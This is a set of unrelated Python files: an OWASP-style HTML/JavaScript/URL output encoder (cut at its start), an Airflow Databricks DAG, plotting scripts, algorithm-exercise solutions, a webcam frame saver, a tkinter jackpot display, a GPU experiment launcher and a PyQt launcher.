        input = cls.get_UTF8(input)
        if len(input) == 0:
            return ''

        ampersand = cls.get_code_point('&')
        less_than = cls.get_code_point('<')
        grtr_than = cls.get_code_point('>')
        dbl_quote = cls.get_code_point('"')
        sgl_quote = cls.get_code_point("'")
        fwd_slash = cls.get_code_point('/')

        output_encoded_input = ''
        for char in input:
            char_codepoint = cls.get_code_point(char)
            replacement = cls.get_UTF8(char)

            if (char_codepoint == ampersand):
                replacement = cls.get_hex_entity(ampersand)
            elif (char_codepoint == less_than):
                replacement = cls.get_hex_entity(less_than)
            elif (char_codepoint == grtr_than):
                replacement = cls.get_hex_entity(grtr_than)
            elif (char_codepoint == dbl_quote):
                replacement = cls.get_hex_entity(dbl_quote)
            elif (char_codepoint == sgl_quote):
                replacement = cls.get_hex_entity(sgl_quote)
            elif (char_codepoint == fwd_slash):
                replacement = cls.get_hex_entity(fwd_slash)

            output_encoded_input += replacement

        return output_encoded_input

    @classmethod
    def encode_for_HTML_attrib(cls, input, quoted_context=False, single_quotes=False):
        """
        HTML Hex encodes for HTML attrib context.

        Takes,
            input = input string

            quoted_context = whether output encoding needs to take place inside
            a quoted_context or not. By default, no quoting is assumed.

            single_quotes = if quoted_context is true, single_quotes when true
            means enclosing context is inside single quotes (''). When false, it
            means enclosing context is inside double quotes ("").
        """
        input = cls.get_UTF8(input)
        if len(input) == 0:
            return ''

        single_quotes_context = False
        if quoted_context and single_quotes:
            single_quotes_context = True

        encoded_output = ''
        for char in input:
            char_codepoint = cls.get_code_point(char)
            replacement = cls.get_UTF8(char)

            if quoted_context:
                if single_quotes_context:
                    single_quote_code_point = cls.get_code_point('\'')
                    if single_quote_code_point == char_codepoint:
                        replacement = cls.get_hex_entity(single_quote_code_point)
                #double quotes context
                else:
                    double_quotes_code_point = cls.get_code_point('"')
                    if double_quotes_code_point == char_codepoint:
                        replacement = cls.get_hex_entity(double_quotes_code_point)
            else:
                # hex entity encode any character that's less than 256 and not
                # alphanumeric in ASCII (includes extended ASCII as well)
                # UTF-8 supports extended ASCII
                small_a_code_point = Encoder.get_code_point('a')
                small_z_code_point = Encoder.get_code_point('z')
                caps_a_code_point = Encoder.get_code_point('A')
                caps_z_code_point = Encoder.get_code_point('Z')
                zero_code_point = Encoder.get_code_point(0)
                nine_code_point = Encoder.get_code_point(9)

                if not  ((char_codepoint >= small_a_code_point and char_codepoint <= small_z_code_point) or
                        (char_codepoint >= caps_a_code_point and char_codepoint <= caps_z_code_point) or
                        (char_codepoint >= zero_code_point and char_codepoint <= nine_code_point) and
                        char_codepoint < 256):
                        replacement = cls.get_hex_entity(char_codepoint)

            encoded_output += replacement

        return encoded_output

    @classmethod
    def encode_for_JS_data_values(cls, input):
        """
        Encodes input into \\xHH format for use in a JS data value context enclosed
        in single quotes.

        Examples of those contexts include event handler attributes,
        JS variable assignment.
        """
        """
        See: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md#rule-3---javascript-escape-before-inserting-untrusted-data-into-javascript-data-values
        """

        input = cls.get_UTF8(input)
        if len(input) == 0:
            return ''

        encoded_output = ''
        for char in input:
            char_codepoint = cls.get_code_point(char)
            replacement = cls.get_UTF8(char)

            # \xHH encode any character that's less than 256 and not
            # alphanumeric in ASCII (includes extended ASCII as well)
            # UTF-8 supports extended ASCII
            small_a_code_point = Encoder.get_code_point('a')
            small_z_code_point = Encoder.get_code_point('z')
            caps_a_code_point = Encoder.get_code_point('A')
            caps_z_code_point = Encoder.get_code_point('Z')
            zero_code_point = Encoder.get_code_point(0)
            nine_code_point = Encoder.get_code_point(9)

            if not  ((char_codepoint >= small_a_code_point and char_codepoint <= small_z_code_point) or
                    (char_codepoint >= caps_a_code_point and char_codepoint <= caps_z_code_point) or
                    (char_codepoint >= zero_code_point and char_codepoint <= nine_code_point) and
                    char_codepoint < 256):
                    replacement = unicode('\\x{:02X}'.format(char_codepoint))

            encoded_output += replacement

        return encoded_output

    @classmethod
    def escape_for_css(cls, input):
        """
        Encodes input into \\xHH format for use CSS property value or
        HTML style property.

        It's important that you only use untrusted data in a property value and not into other places in style data. You should stay away from putting untrusted data into complex properties like url, behavior, and custom (-moz-binding).
        """
        """
        See https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md#rule-4---css-escape-and-strictly-validate-before-inserting-untrusted-data-into-html-style-property-values
        """
        return cls.encode_for_JS_data_values(input)

    @classmethod
    def escape_for_url_parameter_value(cls,input):
        """
        URL Escapes (%HH) input for safe use in URL parmater values.
        """
        """
        See https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md#rule-5---url-escape-before-inserting-untrusted-data-into-html-url-parameter-values
        """

        input = cls.get_UTF8(input)
        if len(input) == 0:
            return ''

        encoded_output = ''
        for char in input:
            char_codepoint = cls.get_code_point(char)
            replacement = cls.get_UTF8(char)

            # \xHH encode any character that's less than 256 and not
            # alphanumeric in ASCII (includes extended ASCII as well)
            # UTF-8 supports extended ASCII
            small_a_code_point = Encoder.get_code_point('a')
            small_z_code_point = Encoder.get_code_point('z')
            caps_a_code_point = Encoder.get_code_point('A')
            caps_z_code_point = Encoder.get_code_point('Z')
            zero_code_point = Encoder.get_code_point(0)
            nine_code_point = Encoder.get_code_point(9)

            if not  ((char_codepoint >= small_a_code_point and char_codepoint <= small_z_code_point) or
                    (char_codepoint >= caps_a_code_point and char_codepoint <= caps_z_code_point) or
                    (char_codepoint >= zero_code_point and char_codepoint <= nine_code_point) and
                    char_codepoint < 256):
                    replacement = unicode('%{:02X}'.format(char_codepoint))

            encoded_output += replacement

        return encoded_output

    @classmethod
    def get_hex_entity(cls, codepoint):
        """
        Returns the hex entity equivalent for the codepoint.
        """

        try:
            codepoint = int(codepoint)
            return unicode('&#x{:04X};'.format(codepoint))
        except ValueError:
            raise TypeError("get_hex_entity(): Requires an input of type int.")

    @classmethod
    def get_UTF8(cls, input=None):
        """
        Returns UTF-8 encoding of input.
        """

        if input is None:
            return ""

        try:
            input_length = len(input)
        except TypeError:
            # if len() doesn't apply to input, then
            # try to get the str() of input
            input_length = len(str(input))

        if input_length == 0:
            return u''
            #raise TypeError("get_UTF8() takes atleast one argument. (0 given)")

        #if the input is not of UNICODE type,
        #then we transform it to unicode
        if not isinstance(input, unicode):
            #convert the input to bytes and
            #decode that as UTF-8
            input = bytes(input).decode('UTF-8')

        return input

    @classmethod
    def get_code_point(cls,input):
        """
        Returns the NFC normalized codepoint for the input character.

        Raises TypeError.
        """

        #get UTF-8 value of input
        input = cls.get_UTF8(input)

        if (len(input) > 1):
            raise TypeError("get_code_point() takes exactly one argument. ({} given)".format(len(input)))

        codepoint = unicodedata.normalize('NFC', input)
        codepoint = ord(input)
        return codepoint


##
## This is an extremely simple airflow DAG that excutes a single notebook
## Export this notebook as a .py file and import it into airflow
##
##

from airflow import DAG
from airflow.providers.databricks.operators.databricks import DatabricksRunNowOperator
from airflow.utils.dates import days_ago

default_args = {
    'owner': 'airflow'
}

with DAG('databricks_dag',
    start_date = days_ago(2),
    schedule_interval = None,
    default_args = default_args
    ) as dag:

    opr_run_now = DatabricksRunNowOperator(
        task_id = 'notebook_run',
        databricks_conn_id = 'databricks_default',
        job_id = 8400 # specific to the job id in databricks
    )

print("Done")


import argparse
from pathlib import Path

import matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns

sns.set_theme(style="darkgrid")
sns.color_palette("Set2")

def plot_histograms(curr_results: pd.DataFrame, title: str):
    """
    Plot histograms of floating values of results
    Parameters
    ----------
    curr_results: pd.DataFrame
        Results in dataframe (needs numerical values)
    title: str
        Title to add to the plot
    """
    # Get all columns with numerical values:
    numerical_cols = list(curr_results.select_dtypes(include=[float]).columns.values)
    fig, axs = plt.subplots(
        ncols=len(numerical_cols), figsize=(8 * len(numerical_cols), 8)
    )
    for i, num_col in enumerate(numerical_cols):
        ax = sns.histplot(curr_results, x=num_col, ax=axs[i])
        ax.set_title(f"{num_col} Difference")
        # Fix limits to make plots nicer.
        # TODO: Improve?
        if num_col == " solubility":
            ax.set_xlim(-0.0001, 0.025)

        if num_col == " charge":
            ax.set_xlim(-0.0001, 40)

        if num_col == " molecular_weight":
            ax.set_xlim(-0.0001, 0.1 * 1e6)

        if num_col == " usability":
            ax.set_xlim(-0.0001, 0.0045)

        if num_col == " localxx":
            ax.set_xlim(-32, 20)

        if num_col == " globalxx":
            ax.set_xlim(0, 25)

        if num_col == " globalds":
            ax.set_xlim(0, 8)

    plt.tight_layout()
    plt.title(title)
    plt.savefig(f"{title}_histograms_float.png")
    plt.close()

def plot_countplot(curr_results: pd.DataFrame, title: str):
    """
    Plot countplot for integer values. Values are ordered by count

    Parameters
    ----------
    curr_results: pd.DataFrame
        Results in dataframe (needs numerical values)
    title: str
        Title to add to the plot
    """
    # Get all columns with numerical values:
    numerical_cols = list(curr_results.select_dtypes(include=[int]).columns.values)
    fig, axs = plt.subplots(
        ncols=len(numerical_cols), figsize=(8 * len(numerical_cols), 8)
    )
    for i, num_col in enumerate(numerical_cols):
        # Fix font for localxx
        if num_col == " localxx":
            length_col = curr_results[num_col].value_counts().iloc[:50].index
            font = 7
        else:
            length_col = curr_results[num_col].value_counts().index
            font = 10
        ax = sns.countplot(x=curr_results[num_col], order=length_col, ax=axs[i])
        ax.set_xticklabels(
            ax.get_xticklabels(), rotation=90, ha="center", fontsize=font
        )
        ax.set_title(f"{num_col} Difference")

    plt.title(title)
    plt.tight_layout()
    plt.savefig(f"{title}_histograms_int.png")
    plt.close()

def plot_pairplot(curr_results: pd.DataFrame, title: str):
    """
    Plot a pairplot for the whole dataset.

    Parameters
    ----------
    curr_results: pd.DataFrame
        Results in dataframe (needs numerical values)
    title: str
        Title to add to the plot
    """
    g = sns.pairplot(
        curr_results,
        markers="+",
        diag_kind="hist",
        kind="reg",
        plot_kws={"line_kws": {"linestyle": "--"}, "scatter_kws": {"alpha": 0.01}},
    )
    g = g.map_lower(sns.kdeplot, levels=4, color="0")
    g = g.fig.suptitle(title)
    plt.savefig(f"{title}_pairplot.png")
    plt.close()

def main(args):
    args.input_path = Path(args.input_path)
    assert args.input_path.exists(), f"Input file {args.input_path} does not exist"
    curr_results = pd.read_csv(args.input_path)
    plot_histograms(curr_results, args.plot_title)
    plot_countplot(curr_results, args.plot_title)
    plot_pairplot(curr_results, args.plot_title)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="")
    parser.add_argument("--input_path", type=str, help="Path to input file")
    parser.add_argument("--plot_title", type=str, help="Plot Title")
    params = parser.parse_args()
    main(params)


class Solution:
    def longestPalindromeBrute(self, s: str) -> str:
        """Complexity is O^3."""
        best_len = 0
        best_s = ""

        for i in range(len(s)):
            for j in range(i, len(s), 1):
                l = j + 1
                sub_s = s[i:l]
                if l - i > best_len and self.isPalindrome(sub_s):
                    best_len = l
                    best_s = sub_s

        return best_s

    def longestPalindromeBrute2(self, s: str) -> str:
        """Complexity is O^3."""
        for length in range(len(s), 0, -1):
            for start_index in range(0, len(s)+1-length):
                if self.isPalindrome(s[start_index:(start_index+length)]):
                    return s[start_index:(start_index+length)]

    def longestPalindrome(self, s: str):
        """Complexity is O^2."""
        biggest = s[0]
        step = 0

        # Handle single letter center. Odd case.
        for center in range(1, len(s)-1):
            bounds = [center-(1+step), center+(1+step)]
            while (bounds[0] > -1) and (bounds[1] < len(s)):
                if self.isPalindrome(s[bounds[0]:bounds[1]+1]):
                    biggest = s[bounds[0]:bounds[1]+1]
                    step = len(biggest)//2
                    bounds[0] -= 1
                    bounds[1] += 1
                else:
                    break
        # Handle double letter center. Even case.
        for center in range(step, len(s)-step-1):
            bounds = [center-(step), center+(1+step)]
            while (bounds[0] > -1) and (bounds[1] < len(s)):
                if self.isPalindrome(s[bounds[0]:bounds[1]+1]):
                    biggest = s[bounds[0]:bounds[1]+1]
                    step = len(biggest)//2
                    bounds[0] -= 1
                    bounds[1] += 1
                else:
                    break

        return biggest

    def longestPalindrome1(self, s:str) -> str:
        """Complexity is O^2."""
        best_len = 0
        best_s = ""
        for mid in range(len(s)):
            x = 0
            while mid - x >= 0 and mid + x < len(s):
                if s[mid-x] != s[mid+x]:
                    break
                l = 2 * x + 1
                if l > best_len:
                    best_len = l
                    best_s = s[mid-x:mid+x+1]
                x += 1

        for mid in range(len(s) - 1):
            x = 0
            while mid - x >= 0 and mid + x < (len(s) - 1):
                if s[mid-x] != s[mid+x+1]:
                    break
                l = 2 * (1 + x)
                if l > best_len:
                    best_len = l
                    best_s = s[mid-x:mid+x+2]
                x += 1

        return best_s

    def isPalindrome(self, s: str) -> bool:
        rev = s[::-1]
        return rev == s


import sys
from collections import deque
# input = sys.stdin.readline

T = int(input().rstrip())
for _ in range(T):
    command = input().rstrip()
    command_list = list(command)
    n = int(input())

    dq = deque()
    # 문자열 -> 리스트
    temp = input()
    temp = temp[1:-1].split(',')

    for i in range(n):
        dq.append(temp[i])

    di = 0 # 방향
    is_error = False
    for i in range(len(command_list)):
        if command_list[i] == 'D' and len(dq) == 0:
            is_error = True
            break
        elif command_list[i] == 'D' and di == 0:
            dq.popleft()
        elif command_list[i] == 'D' and di == 1:
            dq.pop()
        elif command_list[i] == 'R':
            if di == 0:
                di = 1
            else:
                di = 0

    ans_list = []
    if is_error == True:
        print("error")
    else:
        if di == 0:
            while dq:
                x = dq.popleft()
                ans_list.append(x)
        else:
            while dq:
                x = dq.pop()
                ans_list.append(x)

        # 출력
        print('[', end = "")
        for i in range(len(ans_list)):
            if i != len(ans_list)-1:
                print(ans_list[i], end = ",")
            else:
                print(ans_list[i], end = "")
        print(']')

알고리즘 - 파이썬/백준(acmicpc.net)/문자열/5430 AC.py


import os
import time
import cv2 as cv

# Opens the built-in camera of laptop to capture video.
cap = cv.VideoCapture(0)
path = '/Users/admin/Documents/GitHub/Extracting-and-Saving-Video-Frames/Output2'
count = 0

while cap.isOpened():
    ret, frame = cap.read()

    # This condition prevents from infinite looping
    # In case video capture ends
    if not ret:
        break

    # Save Frame by Frame into disk using iwrite method
    cv.imwrite(os.path.join(path, 'frame%d.png' % count), frame)
    count += 1
    time.sleep(.5)  # Delay for periodic time

cap.release()
cv.destroyAllWindows()


import json
from tkinter import *
import tkinter
import time
from PIL import Image, ImageTk
import urllib

canvas = None
jackpot1 = None
jackpot2 = None
jackpot3 = None

def tick():
    canvas.after(200, tick)
    jacks = get_jack()
    canvas.itemconfigure(jackpot1, text="{}".format(jacks[0]['value']))
    canvas.itemconfigure(jackpot2, text="{}".format(jacks[1]['value']))
    canvas.itemconfigure(jackpot3, text=time.strftime('%H:%M:%S'))

JACKPOT_ENDPOINT = 'http://la.ssx.com.ua:8069/slot_machine_counters/jackpot/'

def get_jack():
    url = JACKPOT_ENDPOINT + 'r101?db=test10'
    # headers = {"Content-type": "application/x-www-form-urlencoded"}
    headers = {}

    try:
        req = urllib.request.Request(url, None, headers)
        content = urllib.request.urlopen(req, timeout=200).read()
    except urllib.error.HTTPError:
        raise
    content = json.loads(content.decode())
    # err = content.get('error')
    # if err:
    #     e = urllib.error.HTTPError(req.get_full_url(), 999, err, headers, None)
    #     raise e
    return content

pilImage = Image.open("/home/golubev/Pictures/park/20070218_016.jpg")
# def showPIL(pilImage):
root = tkinter.Tk()
w, h = root.winfo_screenwidth(), root.winfo_screenheight()
# root.update_idletasks()
# root.overrideredirect(1)
root.attributes('-fullscreen', True)
root.geometry("%dx%d+0+0" % (w, h))
root.focus_set()
root.bind("<Escape>", lambda e: (e.widget.withdraw(), e.widget.quit()))
canvas = tkinter.Canvas(root,width=w,height=h)
canvas.pack()
canvas.configure(background='white')
imgWidth, imgHeight = pilImage.size
# if imgWidth > w or imgHeight > h:
ratio = min(w/imgWidth, h/imgHeight)
imgWidth = int(imgWidth*ratio)
imgHeight = int(imgHeight*ratio)
pilImage = pilImage.resize((imgWidth,imgHeight), Image.ANTIALIAS)
image = ImageTk.PhotoImage(pilImage)
imagesprite = canvas.create_image(w/2,h/2,image=image)
label1 = canvas.create_text(w/10,h/4,text="Gold",font='sans 60', anchor=W)
label2 = canvas.create_text(w/10,h/2,text="Silver",font='sans 60', anchor=W)
label3 = canvas.create_text(w/10,h*3/4,text="Blonze",font='sans 60', anchor=W)
jackpot1 = canvas.create_text(w/2,h/4,text="Hello world!",font='sans 60')
jackpot2 = canvas.create_text(w/2,h/2,text="Hello world!",font='sans 60')
jackpot3 = canvas.create_text(w/2,h*3/4,text="Hello world!",font='sans 60')
canvas.after(1000, tick)
root.mainloop()

# showPIL(pilImage)
exit()

# root=Tk()
# label = Label(font='sans 20')
# label.pack()
# label.after_idle(tick)
# root.mainloop()
#


import subprocess
from itertools import product
import time
import torch
import nvsmi
import os

# Use all GPUs by default, and memory % above which no experiments are sent
GPUS_TO_USE = [str(i) for i in range(torch.cuda.device_count())]
GPU_MEMORY_PERCENTAGE = 30.

# Model and data generator configurations
data_generators = ['eq',
                   'matern',
                   'noisy-mixture',
                   'noisy-mixture-slow-100',
                   'noisy-mixture-slow',
                   'weakly-periodic',
                   'weakly-periodic-slow-100',
                   'weakly-periodic-slow',
                   'sawtooth']

data_generators = ['eq',
                   'matern',
                   'noisy-mixture',
                   'weakly-periodic',
                   'sawtooth']

cond_models = ['GNP', 'AGNP', 'convGNP']
latent_models = ['ANP', 'convNP']
fcgnp_models = ["FullConvGNP"]

covs = ['innerprod-homo', 'kvv-homo', 'meanfield']

x_dims = ['1']

seeds = [str(i) for i in range(1)]

# Configs for conditional models
cond_configs = list(product(seeds, x_dims, data_generators, cond_models, covs))
#latent_configs = list(product(seeds, x_dims, data_generators, latent_models, ["meanfield"]))
fcgnp_configs = list(product(seeds, x_dims, data_generators, fcgnp_models, ["meanfield"]))

configs = cond_configs + fcgnp_configs

FNULL = open(os.devnull, 'w')

if __name__ == '__main__':

    while len(configs) > 0:

        for gpu_id in GPUS_TO_USE:

            percent_memory_used = list(nvsmi.get_gpus())[int(gpu_id)].mem_util

            if percent_memory_used < GPU_MEMORY_PERCENTAGE:

                seed, x_dim, gen, model, cov = configs[0]

                command = ['python',
                            '-W',
                            'ignore',
                           'test.py',
                           gen,
                           model,
                           cov,
                           '--x_dim',
                           x_dim,
                           '--seed',
                           seed,
                           '--gpu',
                           gpu_id]

                print(f'Starting experiment, memory: {percent_memory_used:.1f}% '
                      f'(max. allowed {GPU_MEMORY_PERCENTAGE}%)\n{command}')

                process = subprocess.call(command)

                configs = configs[1:]

                time.sleep(5e0)


#!/usr/bin/env python3
from PyQt5 import QtCore, QtWidgets
import sys
import os
from mainwindow import MainWindow

def main():
    root = os.path.abspath('.')
    if len(sys.argv) > 1:
        root = os.path.abspath(sys.argv[1])
    app = QtWidgets.QApplication(sys.argv)
    QtCore.QCoreApplication.setOrganizationName("MLGSoft")
    QtCore.QCoreApplication.setOrganizationDomain("mlgsoft.com")
    QtCore.QCoreApplication.setApplicationName("commit")
    w = MainWindow(root)
    w.show()
    app.exec_()

if __name__ == '__main__':
    main()